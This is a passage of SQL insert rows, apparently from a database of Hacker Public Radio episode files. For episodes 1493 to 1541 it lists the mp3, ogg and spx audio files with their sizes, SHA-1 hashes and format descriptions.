(1493,'hpr1493.spx','spx',7522778,'8824fa69733f23b34e7c178d392d7a6bdc0e0a66','application/ogg; charset=binary','Ogg data, Speex audio'),
(1494,'hpr1494.mp3','mp3',12134880,'b8f6acae3017b67465b7e274a81ea06ea2a65c6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1494,'hpr1494.ogg','ogg',10986598,'22ac7d1ace10cb0138bcef276564ac7c01133bc0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1494,'hpr1494.spx','spx',5419206,'a2090ba10df36373a861a1d048761d7553b0ea3c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1495,'hpr1495.mp3','mp3',11213327,'42e5cef04bc353a79838c80da94cd18df953edac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1495,'hpr1495.ogg','ogg',13387640,'1583e67bddbc9717257a00b2640a1b88c11f7fd4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1495,'hpr1495.spx','spx',5007629,'c931077ed582cae28ddbdceaff93cced548ed050','application/ogg; charset=binary','Ogg data, Speex audio'),
(1496,'hpr1496.mp3','mp3',9032370,'71d83844e81388bc9bdfa83dd45347295ac219df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1496,'hpr1496.ogg','ogg',10342360,'b56c9f3de19ff5239879e42751da94733417d3f0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1496,'hpr1496.spx','spx',4033633,'ed91b820717b64f6d321a491fddd9b44b03152be','application/ogg; charset=binary','Ogg data, Speex audio'),
(1497,'hpr1497.mp3','mp3',18309428,'3c2f8cb64507f7d839d9ec00a7b4c305cc4a18ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1497,'hpr1497.ogg','ogg',18168524,'ea12a2df4e1ad0c9cda84281eb4733b35422818b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1497,'hpr1497.spx','spx',8176861,'8b360316bcd1765011c9fbdb6877557bffd0f239','application/ogg; charset=binary','Ogg data, Speex audio'),
(1498,'hpr1498.mp3','mp3',18362054,'7bca1ee24f0ce61a16e2390bd069d95a2a8cf74b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1498,'hpr1498.ogg','ogg',18452868,'fa241726f88f1c816c0d6dd5551cb7e53defc6d2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1498,'hpr1498.spx','spx',8200390,'8c1c06ee0cd5165d85b1a889ca51f4259085b477','application/ogg; charset=binary','Ogg data, Speex audio'),
(1499,'hpr1499.mp3','mp3',28781578,'1bf75f9e5f729ab5ee5cc613437ca1a95d5d2d0b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1499,'hpr1499.ogg','ogg',28646126,'b5c48e83df3e9aee1294f42cf10377abd77d9476','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1499,'hpr1499.spx','spx',12853870,'fdfcfd8676f4c755b7dbb42afc8157c1983e8213','application/ogg; charset=binary','Ogg data, Speex audio'),
(1500,'hpr1500.mp3','mp3',13873597,'e384afe05a48cdecf79bb2b644d9d0439c845809','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1500,'hpr1500.ogg','ogg',12663438,'2ac1327e2d1e633b3be4806d77c754b2332e0df0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1500,'hpr1500.spx','spx',6195791,'bbfdbeb3b0bc842d9cd8cc6c16d46abe79ba6476','application/ogg; charset=binary','Ogg data, Speex audio'),
(1501,'hpr1501.mp3','mp3',9327208,'f8e2c7502375f39209991b2aa288b0287408ed59','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1501,'hpr1501.ogg','ogg',8200813,'05b533f3b4e418b25746604bed6769ef154060d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1501,'hpr1501.spx','spx',4165306,'b31fa772ef400e8b641fc60d49a3dc522e5a8863','application/ogg; charset=binary','Ogg data, Speex audio'),
(1502,'hpr1502.mp3','mp3',14675502,'21e27b636b84ef746b719a968c256e1f13dbc0f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1502,'hpr1502.ogg','ogg',14488464,'98fc403c99ec1d211be04fb07316d17203f60975','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1502,'hpr1502.spx','spx',6553923,'3215d9d993f29c09df588fe6008e615ffbe2e23f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1503,'hpr1503.mp3','mp3',10246560,'77d2a4b1148f4d28148fd48b140fb84b087e1a2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1503,'hpr1503.ogg','ogg',9357648,'8633f901714d1cfd465805801ee0a2fe899f8d71','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1503,'hpr1503.spx','spx',4575883,'5cb705d266316dbb7e978775d0f116a14d1687ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(1504,'hpr1504.mp3','mp3',18872628,'dfd1733b8dfb1a0558f4924a78f220f6adeb6ded','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1504,'hpr1504.ogg','ogg',18214268,'20705747beb9f86a2d4e4d513506cd2ffcbe85cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1504,'hpr1504.spx','spx',8428401,'376915ba2e78077f279eb0f889003de3efb0d17d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1505,'hpr1505.mp3','mp3',7232882,'e4547dfb1c0d4369a8a54fba7792046d70222c6d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1505,'hpr1505.ogg','ogg',8595421,'9232b8f235e3ee319769753ee7a5f7f1eb1a98b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1505,'hpr1505.spx','spx',3230056,'16ec29e59b3576ecf425fd435bd6968a8939533a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1506,'hpr1506.mp3','mp3',28762406,'1e83497045daf3c86315e76f8a0a611d78facb35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1506,'hpr1506.ogg','ogg',29304469,'375123db3f1c97459fa9e022a4ec260d1c55f131','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1506,'hpr1506.spx','spx',12845351,'9a1dd1c28111c40e4ace719bf389e9057ef0af91','application/ogg; charset=binary','Ogg data, Speex audio'),
(1507,'hpr1507.mp3','mp3',32474237,'7e7658f1645b8c9304aff53f94a7b3994d34d0ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1507,'hpr1507.ogg','ogg',33250432,'b222c89cf890f0af1fd443573a59eb77f8296dcb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1507,'hpr1507.spx','spx',14503041,'09cde2ae5e2f9b69d6a8f2a97d64052642647eed','application/ogg; charset=binary','Ogg data, Speex audio'),
(1508,'hpr1508.mp3','mp3',12748031,'e039cab96473d6b3f6048c909428a4db3fbe2089','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1508,'hpr1508.ogg','ogg',13385791,'ebe03825fbf68c51071fd6e6d0cc14f41dcb1300','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1508,'hpr1508.spx','spx',5693108,'4acdd849ef1547ae22ae23710a9590570cb90521','application/ogg; charset=binary','Ogg data, Speex audio'),
(1509,'hpr1509.mp3','mp3',1455959,'c4ed3228e8110051534e07f93a407e9a3481cd7f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1509,'hpr1509.ogg','ogg',1604054,'f58b0bedcf99e1ec94b390c2d84d283cef673a92','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1509,'hpr1509.spx','spx',649991,'ef40acc94414dda0739cbfba71a97974b6183531','application/ogg; charset=binary','Ogg data, Speex audio'),
(1510,'hpr1510.mp3','mp3',14866663,'67462c8f844584b8f4b17ea8adeeacc6c369c3e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1510,'hpr1510.ogg','ogg',14805372,'8b4c23890092add2cfde24b15425195f0b55f7f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1510,'hpr1510.spx','spx',6639264,'198b82f2f45422cbfa1ee8fbba6d096935709b1a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1511,'hpr1511.mp3','mp3',7698289,'1c381195035ac692e589317447b7e32d7a17d900','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1511,'hpr1511.ogg','ogg',8527001,'57c51dbed797d315af241d59ab73b5a1d8e37ba0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1511,'hpr1511.spx','spx',3437889,'dd429007428d8ffe816f0bc272ba34770b05367d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1512,'hpr1512.mp3','mp3',10023398,'dbca191b5ecb1b0cf125a2172c4460956024bbe7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1512,'hpr1512.ogg','ogg',12619027,'7798acdfcc89cd7853d12d4bf288497b6423ce83','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1512,'hpr1512.spx','spx',4476289,'e7795fe014d65aa7f87505473b1669c4df00acaf','application/ogg; charset=binary','Ogg data, Speex audio'),
(1513,'hpr1513.mp3','mp3',7023337,'19f33bb1368d5b4e6eebe51c547cc713d21c7306','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1513,'hpr1513.ogg','ogg',8597448,'993d2e5d5bb427a89a2c642ca01a0d692d1b1064','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1513,'hpr1513.spx','spx',3137247,'ff934cb86fa158ee212d6599a022325905090540','application/ogg; charset=binary','Ogg data, Speex audio'),
(1514,'hpr1514.mp3','mp3',5845158,'30c3ebf7b6f43a2242f26755345117035013ec73','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1514,'hpr1514.ogg','ogg',6310866,'d251c05b023f7bc9410eb16417dcabb249d383ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1514,'hpr1514.spx','spx',2610287,'43eb2d261687651aad23a1bf4eb09b7b673db515','application/ogg; charset=binary','Ogg data, Speex audio'),
(1515,'hpr1515.mp3','mp3',6198020,'793b69a34d0c55fefe712272aeac714f1b4c40eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1515,'hpr1515.ogg','ogg',7396542,'92b9787cc9cd7003b679aec9bfd5b163bc488fb9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1515,'hpr1515.spx','spx',2767792,'fdbc4f59ef8a89fa8bda957819e09a699b54bbe9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1516,'hpr1516.mp3','mp3',11520284,'fba57d4f12bfdd027e64b5649ab2987b2254536e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1516,'hpr1516.ogg','ogg',12940054,'79be9c815825035a5c980dec6b1e01e211aa6bb4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1516,'hpr1516.spx','spx',5144823,'5064878a5489ce5573629a8fa209b201594b6741','application/ogg; charset=binary','Ogg data, Speex audio'),
(1517,'hpr1517.mp3','mp3',3546252,'a93e10b7475f2457aeaeda260c66ecd9462f4ed9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1517,'hpr1517.ogg','ogg',3643989,'71b0a55eb14cb2be3c3c2ccc86ce75f3df777b41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1517,'hpr1517.spx','spx',1583513,'8fd18b7adb85e556c2437eb521167021dadbbe13','application/ogg; charset=binary','Ogg data, Speex audio'),
(1518,'hpr1518.mp3','mp3',13269025,'c398562458c2b962981d1ae4a405fc8d471133c0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1518,'hpr1518.ogg','ogg',14748111,'89f2915ec75695c39e1a7d22647c47617ff88f82','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1518,'hpr1518.spx','spx',5925777,'2b4a6922e27989a0acf39d404db191b45e95261e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1519,'hpr1519.mp3','mp3',5458399,'ec338b5bb144ea9a1c0d00b5357c692b329718ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1519,'hpr1519.ogg','ogg',6645366,'e53e07208e9f12ef592925cc925ed7609f5da594','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1519,'hpr1519.spx','spx',2437498,'f19d4e109a729c136df4ef765049bd906d5b11bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1520,'hpr1520.mp3','mp3',2510827,'b5ca0c85ecba1c763794a29ef2f15d56e96eaf43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1520,'hpr1520.ogg','ogg',2778714,'2b428de45d966cc8fc3bc65d945deb4bf8467a17','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1520,'hpr1520.spx','spx',1121153,'60669c784a915d391aff3b1d629c4ef3c7b5965a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1521,'hpr1521.mp3','mp3',4359581,'15fa64a6dc7077c01d109ef55587433b0325693f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1521,'hpr1521.ogg','ogg',4930598,'55481c33b249199bf6e653297420a528ad3f926a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1521,'hpr1521.spx','spx',1946723,'b54859eb93320cbcb4bebdce6913eef766341837','application/ogg; charset=binary','Ogg data, Speex audio'),
(1522,'hpr1522.mp3','mp3',15196631,'6686a3130a1ff8ec7373d1c41f5e6e056e19b135','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1522,'hpr1522.ogg','ogg',14246522,'5d7ed90b49678743a688b1f771ab9d19a366802d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1522,'hpr1522.spx','spx',6786686,'32a5b1e8435e61abccaceab098759054c4173315','application/ogg; charset=binary','Ogg data, Speex audio'),
(1523,'hpr1523.mp3','mp3',10350967,'b1b78a82767317d15ee2fcd3e2105422ee0e1464','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1523,'hpr1523.ogg','ogg',8953654,'427e69e2f6c323d98420f589940599d36c0b43a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1523,'hpr1523.spx','spx',4622545,'cbad3743f925e33f92bb4b390a694304b3c41f25','application/ogg; charset=binary','Ogg data, Speex audio'),
(1524,'hpr1524.mp3','mp3',43038583,'ada117fe288a2303786eaa6b692ca275dca1df00','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1524,'hpr1524.ogg','ogg',44454639,'e4c467cb6b875c5f7b54dd318a64aef248948728','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1524,'hpr1524.spx','spx',19221192,'6a97de80e745ab5c7f1a5f432d9429a8920370ed','application/ogg; charset=binary','Ogg data, Speex audio'),
(1525,'hpr1525.mp3','mp3',10022339,'94043b6f599a4c2d9b5d5ec7e13772b0a93d7f28','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1525,'hpr1525.ogg','ogg',12197752,'98a0c2f98c20122cd29870224f54369e2d0749c2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1525,'hpr1525.spx','spx',4475762,'92b58ca6782feb295c1630357e2ccab8a7f55f3a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1526,'hpr1526.mp3','mp3',12940919,'dcc8845a9a765bdfa1b6fbfd9871bd020ad033a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1526,'hpr1526.ogg','ogg',16001940,'d80cf989afc84d4a90698bd9d437a1aa745b6822','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1526,'hpr1526.spx','spx',5779203,'52b973f4769581375fb89fa8da8b59e8b366f8f5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1527,'hpr1527.mp3','mp3',8882049,'74aa9b186b0684ca521afe33f850a19c838e764c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1527,'hpr1527.ogg','ogg',11211703,'a9f473f3f2fce2b7d4aa1000ec85cd652e8e0349','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1527,'hpr1527.spx','spx',3966466,'5764169f4d7b0c59bcf9898e915a0e71fb01fa8d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1528,'hpr1528.mp3','mp3',23138309,'541a99858df274c32520ffa9d178eb0a16195c00','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  64 kbps, 16 kHz, Monaural'),
(1528,'hpr1528.ogg','ogg',19152538,'4ee9fb9838c4f0d559b228d2a3d2bfdcc10c86f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 16000 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1528,'hpr1528.spx','spx',10333219,'c39fc1f0124bca54859e196c437ecfffcfa10fbb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1529,'hpr1529.mp3','mp3',8945472,'7758f84a4d54f43ce50f6db03de82d66f5b3498c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1529,'hpr1529.ogg','ogg',11248449,'1225059f266eb4af2d2c352e0fedcdda8e56f98b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1529,'hpr1529.spx','spx',3994804,'c2cb347f373b6d088ff557002af1d5474cd93aef','application/ogg; charset=binary','Ogg data, Speex audio'),
(1530,'hpr1530.mp3','mp3',2613227,'2e0c8172361c7f500a25f86ba706edabfb1cda22','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1530,'hpr1530.ogg','ogg',2918305,'33acfe3e8bc67816a1f054b0a7907afc28b676f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1530,'hpr1530.spx','spx',1166820,'1d9059d63b88c7bf0bce11d39931e91038af0a54','application/ogg; charset=binary','Ogg data, Speex audio'),
(1531,'hpr1531.mp3','mp3',7550288,'456ce093418ce4ffececaf78a31e7bafcd2fb8c9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1531,'hpr1531.ogg','ogg',8450731,'5f1774d02f9ccb5dd6fc2b530c611fb6afc9d214','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1531,'hpr1531.spx','spx',3371738,'e862ef9f198f16b9290319c013d0813aa82a087d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1532,'hpr1532.mp3','mp3',7681571,'70e6fc3d6580c71e4b55c42320502adde2b64687','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1532,'hpr1532.ogg','ogg',7354825,'9b52b96388f37b40f0ad67821171fdd8d3539b4e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1532,'hpr1532.spx','spx',3430350,'431bc28d984e3c0ee604daa3febd3e7dcf64cde1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1533,'hpr1533.mp3','mp3',11997099,'c5dd3e48a0fb7f905e9e64a7c5a058c1e27fa1c7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1533,'hpr1533.ogg','ogg',12900336,'f804c6a2470f6d733e00cd485adea5822a1d31df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1533,'hpr1533.spx','spx',5357762,'430a1fae2b59e2fb85fa530e47eda9f9490b4744','application/ogg; charset=binary','Ogg data, Speex audio'),
(1534,'hpr1534.mp3','mp3',2158414,'e1e38a8a7fbe380f5b8c0430a8dda6ac3cf6dfbc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1534,'hpr1534.ogg','ogg',2475758,'8448391a7e56205d85d907de61087f772b5f182d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1534,'hpr1534.spx','spx',963685,'b2ac448de114f584637080e2086b8eaebcc32816','application/ogg; charset=binary','Ogg data, Speex audio'),
(1535,'hpr1535.mp3','mp3',9913052,'a3dc8c270e309789b779c33bacc1d34c4f159d80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1535,'hpr1535.ogg','ogg',11933730,'8903f14f177f96be652fe57a957ca534015cefef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1535,'hpr1535.spx','spx',4426970,'f1734bb0db58342c0f97093f914c02d5fe46e105','application/ogg; charset=binary','Ogg data, Speex audio'),
(1536,'hpr1536.mp3','mp3',5735106,'8082dcd84db1e209cd3c868d9b6351ad809780ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1536,'hpr1536.ogg','ogg',6561640,'95feeba5d876243f27abc4224fecd9eb8d80c228','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1536,'hpr1536.spx','spx',2561058,'8b6eb4ad5d9382eee01236984a85c9043a7c34f6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1537,'hpr1537.mp3','mp3',3291045,'cd7726bea8c0e12349f1e720c436d05b60c97b5d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1537,'hpr1537.ogg','ogg',3802588,'e584bc47dc035afb204d3c58953bc318a8152ff1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1537,'hpr1537.spx','spx',1469524,'8cf178441cbad0924a2f37a503b50aac9404d01c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1538,'hpr1538.mp3','mp3',13923975,'f7c93e6d711a821cb39ebd9f4ae7833cf6e34cc9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1538,'hpr1538.ogg','ogg',18132165,'1c09f9495527f844141b1d703f369c3cd2425fa3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1538,'hpr1538.spx','spx',6218322,'b4873ed18b37bf81721640b2d75b1d956442c8b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1539,'hpr1539.mp3','mp3',2224892,'a2e81585135f61a0e97998f7c7852227e02d2615','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1539,'hpr1539.ogg','ogg',2508081,'8685270804ec72468ab0d59b2e04ebe78e36d98e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1539,'hpr1539.spx','spx',993362,'052b9bbb0db0adbec00b94c75923030de233bf22','application/ogg; charset=binary','Ogg data, Speex audio'),
(1540,'hpr1540.mp3','mp3',2616362,'c49f4af5c50c8095839961d4aa697214912781b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1540,'hpr1540.ogg','ogg',2920713,'b0b86bece2c28bccfb1113d510c679073e08cfcb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1540,'hpr1540.spx','spx',1168273,'31552980eea4e9d1e4bc392d15c4f57f9e4e809e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1541,'hpr1541.mp3','mp3',17440482,'88ad356b32ddec3c346ddfe68e56abb43cea6475','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1541,'hpr1541.ogg','ogg',19344702,'a20fa9838ea1f01f3fd98b2c3734e0ba68586a5b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1541,'hpr1541.spx','spx',7789323,'19facf60f5ddfe59765bdc0a90b151e0ba785f4b','application/ogg; charset=binary','Ogg data, Speex audio'),
